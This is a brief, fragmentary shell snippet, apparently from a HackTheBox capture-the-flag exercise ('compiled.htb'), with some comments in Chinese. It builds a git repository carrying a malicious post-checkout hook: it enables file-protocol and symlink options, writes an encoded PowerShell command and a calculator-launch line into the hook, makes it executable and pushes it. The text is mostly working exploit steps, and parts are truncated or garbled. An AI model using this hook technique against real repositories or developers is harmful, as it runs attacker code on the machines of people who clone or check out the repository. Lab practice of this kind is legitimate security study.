# Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true # optional, but I added it to avoid the warning message git config --global init.defaultBranch main
# Define the tell-tale path #tell_tale_path="$PWD/tell.tale" #因为是将hook连接过去,所以需要准备两个库
git clone http://compiled.htb:3000/test/test.git cdtest # Initialize the hook repository git init hook cd hook mkdir -p y/hooks
# Write the malicious code to a hook cat > y/hooks/post-checkout <<EOF #!/bin/bash powershell -e JABjAGwAaQBxxxx open -a Calculator.app EOF
# Make the hook executable: important chmod +x y/hooks/post-checkout echo 1111 git add y/hooks/post-checkout git commit -m "post-checkout" cd .. git push
# Define the hook repository path #第二个hook,用于拉取执行命令